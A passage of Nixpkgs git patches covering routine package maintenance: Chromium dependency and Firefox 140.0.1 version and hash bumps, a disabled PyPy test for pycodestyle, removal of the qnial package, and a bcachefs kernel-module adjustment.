+        "rev": "f82ad65ca52cb4d39b73088468a5fe00f56fb47c",
+        "hash": "sha256-aavq+i8EpQmIMPaym6JxwBFjbpqKtHshXUkdBIXDtpw="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
-        "rev": "d654fca78690fa15cceb8058ac47454d914a0e63",
-        "hash": "sha256-Ginvak0y1CjURT3mQZzdLn3MW9vXxC7T0KLsM6SHDV0="
+        "rev": "f9938c217da17ec3e9dcd2a2d99c5cf39536aeb9",
+        "hash": "sha256-emmJF7XLq5CxXFd0KUrtUtw1YGOHDSiz39vtgVoEPd0="
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "075234cf3d7622d9d588a6f748fc4501aa23080c",
-        "hash": "sha256-wrLxRuJ3rq1yC0PIUGPsuDB/YNee1x3J/i6ZSLk70HM="
+        "rev": "0ea9b0813581826a94b45324e746f9ab57f0f843",
+        "hash": "sha256-jGx1jafKyh9BrrJwWKU78sKlwkX9KYHzhggx6TzRel4="
       }
     }
   }
diff --git a/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml b/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
index 76a992fef3d0..8629b90be370 100644
--- a/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
+++ b/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
@@ -5,7 +5,6 @@ disable_fieldtrial_testing_config=true
 enable_hangout_services_extension=false
 enable_mdns=false
 enable_nacl=false
-enable_reading_list=false
 enable_remoting=false
 enable_reporting=false
 enable_service_discovery=false

From 8666fc80434d6cf27ca048c21c7f2d673e7a35c1 Mon Sep 17 00:00:00 2001
From: Arne Keller <arne.keller@posteo.de>
Date: Sun, 1 Jun 2025 14:04:08 +0200
Subject: [PATCH 1631/4511] pypy3Packages.pycodestyle: disable broken test

PyPy still reports the old error message in this case.

(cherry picked from commit 9d5a4d1cfe183a5d2f9272c136140589823f0b44)
---
 pkgs/development/python-modules/pycodestyle/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/python-modules/pycodestyle/default.nix b/pkgs/development/python-modules/pycodestyle/default.nix
index 79d519fec6d2..17b39d3dabdb 100644
--- a/pkgs/development/python-modules/pycodestyle/default.nix
+++ b/pkgs/development/python-modules/pycodestyle/default.nix
@@ -5,6 +5,7 @@
   python,
   pytestCheckHook,
   setuptools,
+  isPyPy,
 }:
 
 buildPythonPackage rec {
@@ -30,6 +31,11 @@ buildPythonPackage rec {
     ${python.interpreter} -m pycodestyle --statistics pycodestyle.py
   '';
 
+  disabledTests = lib.optionals isPyPy [
+    # PyPy reports a SyntaxError instead of ValueError
+    "test_check_nullbytes"
+  ];
+
   meta = with lib; {
     changelog = "https://github.com/PyCQA/pycodestyle/blob/${version}/CHANGES.txt";
     description = "Python style guide checker";

From 55c84376b6ab05fa029b505920ae3a9c3ad1e701 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Thu, 26 Jun 2025 10:53:48 -0700
Subject: [PATCH 1632/4511] qnial: drop

(cherry picked from commit 1ba4241cbd61c5a5efff6e66cea28624320c9d70)
---
 pkgs/by-name/qn/qnial/package.nix | 53 -------------------------------
 pkgs/top-level/aliases.nix        |  1 +
 2 files changed, 1 insertion(+), 53 deletions(-)
 delete mode 100644 pkgs/by-name/qn/qnial/package.nix

diff --git a/pkgs/by-name/qn/qnial/package.nix b/pkgs/by-name/qn/qnial/package.nix
deleted file mode 100644
index 8a89062a18c2..000000000000
--- a/pkgs/by-name/qn/qnial/package.nix
+++ /dev/null
@@ -1,53 +0,0 @@
-{
-  lib,
-  fetchFromBitbucket,
-  libxcrypt,
-  ncurses,
-  pkg-config,
-  stdenv,
-  unzip,
-}:
-
-stdenv.mkDerivation (finalAttrs: {
-  pname = "qnial";
-  version = "6.3_1";
-
-  src = fetchFromBitbucket {
-    owner = "museoa";
-    repo = "qnial";
-    rev = finalAttrs.version;
-    hash = "sha256-QhjEq6YKO6OKy7+dlHeTWQvCvrF8zS7o8QfPD8WDXy0=";
-  };
-
-  nativeBuildInputs = [
-    pkg-config
-    unzip
-  ];
-
-  buildInputs = [
-    ncurses
-    libxcrypt
-  ];
-
-  strictDeps = true;
-
-  preConfigure = ''
-    cd build
-  '';
-
-  installPhase = ''
-    cd ..
-    mkdir -p $out/bin $out/lib
-    cp build/nial $out/bin/
-    cp -r niallib $out/lib/
-  '';
-
-  meta = {
-    description = "Array language from Nial Systems";
-    homepage = "https://bitbucket.com/museoa/qnial";
-    license = lib.licenses.artistic1;
-    mainProgram = "nial";
-    maintainers = [ ];
-    platforms = lib.platforms.linux;
-  };
-})
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 361d1c96b948..9144c711d2ed 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1612,6 +1612,7 @@ mapAliases {
   qbittorrent-qt5 = throw "'qbittorrent-qt5' has been removed as qBittorrent 5 dropped support for Qt 5. Please use 'qbittorrent'"; # Added 2024-09-30
   qcsxcad = throw "'qcsxcad' has been renamed to/replaced by 'libsForQt5.qcsxcad'"; # Converted to throw 2024-10-17
   qflipper = qFlipper; # Added 2022-02-11
+  qnial = throw "'qnial' has been removed due to failing to build and being unmaintained"; # Added 2025-06-26
   qscintilla = libsForQt5.qscintilla; # Added 2023-09-20
   qscintilla-qt6 = qt6Packages.qscintilla; # Added 2023-09-20
   qt515 = qt5; # Added 2022-11-24

From 3a69ec5f156ead261e57a377fb03e105e9a6fe0c Mon Sep 17 00:00:00 2001
From: qubitnano <146656568+qubitnano@users.noreply.github.com>
Date: Sat, 21 Jun 2025 15:05:39 -0400
Subject: [PATCH 1633/4511] nixos/bcachefs: include poly1305 and chacha20
 kernel modules for kernel < 6.15

Kernel 6.16-rc1 removed the poly1305 algorithm in
ceef731b0e22df80a13d67773ae9afd55a971f9e

bcachefs switched to the kernel libraries for poly1305 and chacha20 in
6.15 in 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d

(cherry picked from commit f9bd91aa07c30359540aeec8613a29f0b742f540)
---
 nixos/modules/tasks/filesystems/bcachefs.nix | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/nixos/modules/tasks/filesystems/bcachefs.nix b/nixos/modules/tasks/filesystems/bcachefs.nix
index a3d0e9463832..1570cf1a6860 100644
--- a/nixos/modules/tasks/filesystems/bcachefs.nix
+++ b/nixos/modules/tasks/filesystems/bcachefs.nix
@@ -179,13 +179,18 @@ in
 
       (lib.mkIf ((config.boot.initrd.supportedFilesystems.bcachefs or false) || (bootFs != { })) {
         inherit assertions;
-        # chacha20 and poly1305 are required only for decryption attempts
-        boot.initrd.availableKernelModules = [
-          "bcachefs"
-          "sha256"
-          "chacha20"
-          "poly1305"
-        ];
+        boot.initrd.availableKernelModules =
+          [
+            "bcachefs"
+            "sha256"
+          ]
+          ++ lib.optionals (config.boot.kernelPackages.kernel.kernelOlder "6.15") [
+            # chacha20 and poly1305 are required only for decryption attempts
+            # kernel 6.15 uses kernel api libraries for poly1305/chacha20: 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d
+            # kernel 6.16 removes poly1305: ceef731b0e22df80a13d67773ae9afd55a971f9e
+            "poly1305"
+            "chacha20"
+          ];
         boot.initrd.systemd.extraBin = {
           # do we need this? boot/systemd.nix:566 & boot/systemd/initrd.nix:357
           "bcachefs" = "${pkgs.bcachefs-tools}/bin/bcachefs";

From 0d3ef10b136fdf84eb832956e1bc08990b517b09 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 27 Jun 2025 00:26:38 +0200
Subject: [PATCH 1634/4511] firefox-unwrapped: 140.0 -> 140.0.1

https://www.mozilla.org/en-US/firefox/140.0.1/releasenotes/
(cherry picked from commit 484e2f243a29d3be86c33c44b233ef26a36e695b)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 7cfd82c2462c..eda7151c6c5a 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.0";
+  version = "140.0.1";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "ef209827a422bab443e2b6fc59ac16f0ad99293b3c8f10a978f222ac8da5ff568b2fadfb97784feeafa4a24883d44ea2f34b47b2bb19863a27e00d2d787b8ad3";
+    sha512 = "d521405f49a38b8449a24f90e5ea14d4337085918779d93d282cec80b2627f381648529d6f69930eb6e90e37302797b0049fec5846d25dc40f556bbd86d55ef1";
   };
 
   meta = {

From 8ebb24072d2cbfcf5a753cc902a105dc55586922 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 27 Jun 2025 00:27:12 +0200
Subject: [PATCH 1635/4511] firefox-bin-unwrapped: 140.0 -> 140.0.1

https://www.mozilla.org/en-US/firefox/140.0.1/releasenotes/
(cherry picked from commit fce68634c523157701fe868d5a782db33789fb8a)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index a32992b8cde5..a12264e8ed42 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0";
+  version = "140.0.1";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ach/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ach/firefox-140.0.1.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "8d3ad9d248cfb8914fdd8fbd2060b019bec1df66c1fcf6a349ca6e016ac73b13";
+      sha256 = "8ef64f67276d32d6b01cd23b5eeda6e581604d989ab34c85764ff1dcf9a316b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/af/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/af/firefox-140.0.1.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "df92ddb1447998d2de420d57059ae92cb7d9f54954e8141b589f74d86e93292c";
+      sha256 = "552e8ae034fa2d4cadc6c01807509cdba447a5d2e31840d88c54beec62d9db55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/an/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/an/firefox-140.0.1.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "9aeb48cfaa07d5dda4f127d659471554922568cbfb1739263393c1fa00910f2d";
+      sha256 = "7b5cb58a4dcc2cc7a3b6b3156add00887b3f681099097c6e5e4642798185e4e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ar/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ar/firefox-140.0.1.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "e38b2a27e79ab92104dad9786a0bbc42548669d6fe2a1f2a5d2bd010ead64b19";
+      sha256 = "faf25b77c9f867a020bf3fe6c2152c369d7de049ff87d2110a93a0fa3db429ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ast/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ast/firefox-140.0.1.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "134d2a027f695d751ec1c0e38f26f6ffcde013245d33baffd469fa5bfa87fa14";
+      sha256 = "8e6ad43e36c7bc94e3d519af5d6eba1750c6b8f6e0ce412b3da32bc6194970ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/az/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/az/firefox-140.0.1.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "66675677db100d212be5f638d2ebcdc80bfd9b36662e74d800d63d1de307fe58";
+      sha256 = "8a67b4336797398e0a7621721c9c850b3c819a572b51366079cad420fa7417a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/be/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/be/firefox-140.0.1.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "2d9a00717dfeec4a2f9f9c8ded08177f806fced5a327df562d9bdebe2021b645";
+      sha256 = "f1bb0ee9fa8f89e653cc0390d299fde2298483ac8e5afdff2ed50d2c3ff4a5b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bg/firefox-140.0.1.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "7593b6b2d76009aa9669b9d75eb4c3dd9d3f2da3f89fab5a2c382ea1ff2ca61e";
+      sha256 = "1e21255e0be3534ce96a2517a3e8a7ed9950e3dbec0df75c3a4fdba53498ba34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bn/firefox-140.0.1.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "8a523c11fac1832daed23bd7299e70c98ed664dc5735a3ff56281d5b3b466702";
+      sha256 = "a282ade373181e2f5194d2c94c67302c8db5d3b89978c188a6a543d711243a36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/br/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/br/firefox-140.0.1.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "39e154f399b8a0f8d33505b9b4cee9107a953ede49e633339b84ce034c547542";
+      sha256 = "09dbc962aec54d7083335d83f5db1c2b08e726f3026ae679a0915f1402f20299";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bs/firefox-140.0.1.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "e6bb1f62f62a285ffeedd76cbba32fb36946f3034f11f8024e3397d79eb10edb";
+      sha256 = "cf5f5b7560d8dcbce6c317d662f254b7e0478917548072d528ae5e6bdd12a0b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca-valencia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ca-valencia/firefox-140.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "a9ecdcd7f3d5abab9e1dbbc08974a7bd125a3dca4bb5d50b2c5f6a67c00ae9ab";
+      sha256 = "0b2bd97f19997f63575ac317ccaf69f6ae1268f41948c6e5db10301e815f0c2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ca/firefox-140.0.1.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "8d795bbf146652e3adaabbc2eac1293698095272ed62e2bb83b01066055a651c";
+      sha256 = "02d193e332879d15942af62028c41bb5d619294c891aa1809b367290723e483e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cak/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cak/firefox-140.0.1.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "27a4deda5c24b5d35fc1ddf899848ee07cfb65380e974efe60aed88407535f28";
+      sha256 = "dea8e78ac7f974a518501018f5b65589174e2b2022a3565d07f60d40ae6a6e32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cs/firefox-140.0.1.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "bdb36636dd031d6aeffad41e54931671f96bbfae37a3eaa7714dc3c4079eab0c";
+      sha256 = "023feb54600698fba0b645c08532049812a77f295f57df423c3c375275a53df9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cy/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cy/firefox-140.0.1.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "841a947889747215a01a25113ca803acdd937a3d046aa0ba6cf419276165d7dc";
+      sha256 = "d80467e6f37cb62a93060edab55ccb6af0b5e6df247e00f5365ca30331ec152e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/da/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/da/firefox-140.0.1.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "b69a78fcce24e1a84c3781c5a5d94bc3c5abfaa13fb9a4e2a05e4fc4c5d3731f";
+      sha256 = "292833cf4fc5f527f9f8da14a5d7b7591d2cc4d397b5cb852f2ae24b0b704070";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/de/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/de/firefox-140.0.1.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "30dd36b419f875ea499f95b858801d781d83d141c5f16e4c1a2422d309ddcec6";
+      sha256 = "5465c773bdc150550eaa26ab744e7b20cfd3ca21f4b1fa004c0627e6ecf14e35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/dsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/dsb/firefox-140.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "3cf270312ce09b888aa23078cc9b7075e078ed198a49e8f64cb513291050ade7";
+      sha256 = "7da9669d9acf0fdbf52efdac2d3d68ab9fdc584193f375e98bd1712908fe076e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/el/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/el/firefox-140.0.1.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "ceac2700039c86f4ad25f36aa1fd032af1f5cbcf63a499fb85e25b143ffe53c1";
+      sha256 = "97e3cc3ade43ba391039d6de207cbff29e8cc128778499f3c0e7e610d2a363f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-CA/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-CA/firefox-140.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "bc256ad2e518df693ee8ebc38b39dda57f52e592bfe18eb86592fb302bb45421";
+      sha256 = "8aef0f633616cb2d341da8b6a1dabe9c391cccab128d051708c5038ed4ae2de4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-GB/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-GB/firefox-140.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "1953ecad7b30d249639ec06a5dd3977cda0ebe873eff36b368a96c80735a2e8c";
+      sha256 = "e9dea70cec907d2633203d696da7c13f169510ba11e3b8627c4fec6b2c5e8dec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/en-US/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-US/firefox-140.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "ca3469774734743b878bca2cfb7efb7b8a8eb4a3c15c2f1f427fbc0472ad3f6e";
+      sha256 = "81596b5061753e1524a3aa41512aee667ec34eac24abd52cd919c759a90a2a60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eo/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/eo/firefox-140.0.1.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "c62d7692fb055aa6343c40a2d83530a87d3e48676c32a6b4b263988f8a5d033e";
+      sha256 = "42bdd9757f9f84725e01e2e32ec75ae070c90292887dcc5e481fd56f5f194c56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-AR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-AR/firefox-140.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "a14e808f3d7138cce8fb02d82a75277eb806c4dfdcf110c3436b484abb40e54b";
+      sha256 = "78858254a6c348a63d42aff649ee6df46058d587072b7ec08c64b43cf71739a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-CL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-CL/firefox-140.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "61e03791900929469e4728a9c630147f68b4e0081e17740479c506162c21b955";
+      sha256 = "d1da5214ee81bfe48d55432b57befbb3ef9f20109e187083efe88c1e4aaa242e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-ES/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-ES/firefox-140.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "a05f2eebffc138dbfe7ce0b86753c72b53a9323be93fb0dcd0d7a8c17517666e";
+      sha256 = "c75e608e9f24c695f095c338671df7de46c17554e2a5fa58516db5289148885d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/es-MX/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-MX/firefox-140.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "252cbb08be86d3e8a7b8c4866c019e9a13dd7b76921c9cac0b9919fbbcb2caed";
+      sha256 = "170a97c087aeab76ab8d9ab660259e5477e312bc0bf8cf481ce773534c22fa6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/et/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/et/firefox-140.0.1.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "3c246bed857b84bb7e283051e6524a08e9e7c2c24b45e0ee02c43424e609ff5c";
+      sha256 = "96950653c0d8f61a7e623135e68562846cc692aac218bf0b7411d37807837a45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/eu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/eu/firefox-140.0.1.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "849688427d922c8c539d011121fc2af6c1535a8e127195832e869db0df94ea9b";
+      sha256 = "09f3c8644636d16d6034dd46f381cda7635d373aa6504aba1a85feb0a57aeb43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fa/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fa/firefox-140.0.1.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "1ef712b9624124fcac4bf8d76cf7951e569b3fd19bdaa4dc9e66092a60392f15";
+      sha256 = "ff54af504fee501e6f662cd9a39ebc6e129a82b64d067ee3217d88e379fb6e9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ff/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ff/firefox-140.0.1.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "dc743506e60ea801c729b37fc9f169e659b51b1bc58de8b93e49f214b76d8a95";
+      sha256 = "e89f9c1f638bbde6b9e75fda6468f3c0ef68e8104bb546e48c934ae2705d3ba4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fi/firefox-140.0.1.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "d10ad89ad355c6a369dd2711db04a3ff4a011f8deb14017a7b4cdc0aec9c0b63";
+      sha256 = "6abf7a1b0e15f5ce85d8c99cdf96a448fd1e1774e1e31b599cf49bfcb71dd4a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fr/firefox-140.0.1.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "a3e9d97ef8a1b408cb7301e35ad26e9966372541c3e0d4a2be3608434549acb1";
+      sha256 = "d63ec8cdec98d277acec8b633bd3ca45586fd0707d45177f22e3eef1530c6b21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fur/firefox-140.0.1.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "7dbd0829a3b719fc2fcc3d684424f31b50c0394be4d329e061912f32fb48f226";
+      sha256 = "ef001f0bf457348dccf127d38c2563daab0f92c6e5db1feb53ea97e89c9094f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fy-NL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fy-NL/firefox-140.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "9392092b730e7c8d6b31f0bd238dbdd6fae5bc5946566b79d4a5eccc49679e46";
+      sha256 = "7ed13a8bf94916e9f9477ea8818ab027c487ff05d6fb0bc689329a0439660129";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ga-IE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ga-IE/firefox-140.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "02661776d78c34ebce68fc8e9212a701929bc903f98d7992281a55ab3106fefc";
+      sha256 = "660c1ba4e4d94affea5750ffd4ce824ab52a0482cc572a017dbf3df9773f5f2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gd/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gd/firefox-140.0.1.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "73e35e70ede169a0a54e3511107c9e9f956c0ebfb864234c55c166a4e7808c4a";
+      sha256 = "9617ed0706c021d31af9a5d7e5f7bb24b977b7280065c987172010837f840cd1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gl/firefox-140.0.1.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "830e1df21a6e651be8b1f5f6fc09ea85ce7998c70ccd2f35ebd261ec6751f782";
+      sha256 = "c805d50f128f6b63105f6ab512ed9c75815b075f5456f0d330e09f2917c87b7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gn/firefox-140.0.tar.xz";
